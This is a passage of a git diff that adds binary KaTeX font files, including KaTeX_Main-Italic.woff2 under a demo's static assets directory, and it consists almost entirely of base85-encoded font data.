z1}YmG3wjVn2xbnJ3$_rB4{i}&6#)am1z`~}9`PC}3>h2Q0{Iff5tRhB1PvE03mp`_ z7Q+b>fcYCU60-yI77G3mAY=$xm+0?eYza`nG?`pK0m zPF;u|0`DUL0p#TW()0iN?|4NRFvuX5P{?rq0%Yy-r6WAF*3xy}7{gv|1JSM#N+ zWVQHawZxLp%R?)Ia*LQo_&SbpDccfWM*gLt?0bm0qdosx_9LjZLUQ1L0xb;E^SMWF z2Wse5j{H5(NfE01lTB@&I_+bj&4G1z`{d&~Inp z91`yOwBqiO3=OB!3l52nySuw}yy5Q98}=`Q6g=H_0T2KN;0lKJp^X*{AO*>=g&oX@ zLjp38gF=*|0|S`A0#ccl&4ykdk}( zn^iD_GQc^&&_baA#lG(a0B?SX(d{=_+Wo7K&rF;S!jBN|`-@<%7*!i1J&SvZbZf%ijjl6M=S93uCN#;!zO_Qp-1Ds|1 zEP2wYJ`fvm1UR_mhok|v4f5&*uU>>^7zBYyY~iqOq1f?JykTdH_U0SB$E$m9q95a; z#U4M3;vfjxQGkXW1YHCHv9YP!eP7rMlPO3M1eo|;}1P^iKP=0c-tln(MJS{lX~AzCMPu- zk&6>{z>sovHyPuvar#1|CV`M_`3ciUc-=S#PCGthNeb(&&CE_A^hq@VA!$1E{tExmIa^9YglhOqbN2QA+l19#j@cYf1hL{j#;kqs}P$8QU zC6#^~|7)8Mh^`u8tlAFVP>I3vCh^VkmP+z0Z>yxh(o{*21TOg zB?ByNC42m1DI}&PG|>15-xdee31jWZ`0vcyOCC=gKAuU6M%D9YgB0b{ zjGilfo+)^qR{mUxu8(&FL%N+g!>Cq>;RQuy;SF*t)ajkN zCBwqSA#ESV4GFLm)0vB>-Jp@3hb8Iuya7XgrmSuIp9@d~^K)UUcsp=i2{@=BmT83C z46&roUe^$ap6tI;L5FRLMIE)tT+oq8>yV#xXJaA>;XPxLoE~3swT)5Mh^FP9i7==3P1)q6+{Kli zEd`S?jbhJlz>>5~()5&c=us=MRHxmmlfPZECSEk{-EK)9`PCDZ=w7=*{(*BAa<9c} zNujn-EZ99({zAJ&+mc;g$Id z70#1*$1Hk8H*Cf->aq1+@j&DMd#;PL*r6bR!ndBFOJK^3umarOwQ+0QwQ={wv~7?& zRUxzg<~wm8P!2_f5IPmZ3IQWgK>`?62pFU3QjF7p2^ug-1E!*42%$|itrAlzDvD2= zQHg1mPS6~kX`arsKxbNHogIoLg@9$&304#WR%yBwYcwED1J-H42I~v$s!f%cwpgEO zTP3C)IzhX1rad~-KAq`6k8yo+0uODJYgQgPTa?EfbQ`tm=p@QZ+?+yh&a9ERIoFvR zlBHfS@;Nfl=eUHPU+Hq<;2L^x13kFawlP`W9V5^0q2~|K^GBUC4xXR~&(MPxZJUzi zy)yFr4SN0#J^#=-_D%0x!-zXEJQ;2E~D6?m3)UI(7zGH(LUvukEP@B)`-_61)2%)c>Po~Z}k zq%ilEEA;3yC8j}*Is7S%nko^gi)My=Q;R?Iv@E1rLDtR#%QGI z5HX-m(|bZHXmXx||8XK;c5H>H=<}E_Iv-)x$OZ!=cktMV#2qv8Eb9pql4SS`61%{^i+)`^cu=#IhF_1C9}E3UGE3_}RaDi~HEgok7F%tz-3~kLvfCbe?RU^2haGX$F~^;7(kZ8%an?EK zUC?yVC6`@s)iu}MaMLZf-Eq%-4?ObN6Hh(!+zT(g^4c43z4P7&AAR!K7hiqz-48$g z^4tGN=+UyIPrr5p22C3>97!`)BNge$n73fjtmVi?F7i=`Vw9pBm8eE7>PC#3Flo$q zG_va}&C4_}a5MnZM#kn4+Sw9HJ3?tER`V literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_Main-Italic.woff2 b/demo/static/dist/assets/KaTeX_Main-Italic.woff2 new file mode 100644 index 0000000000000000000000000000000000000000..b50920e138807f385d0b0359f4f0f09891f18406 GIT binary patch literal 16988 zcmV(>K-j-`Pew8T0RR91076^<4gdfE0E4su073x(0RR9100000000000000000000 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 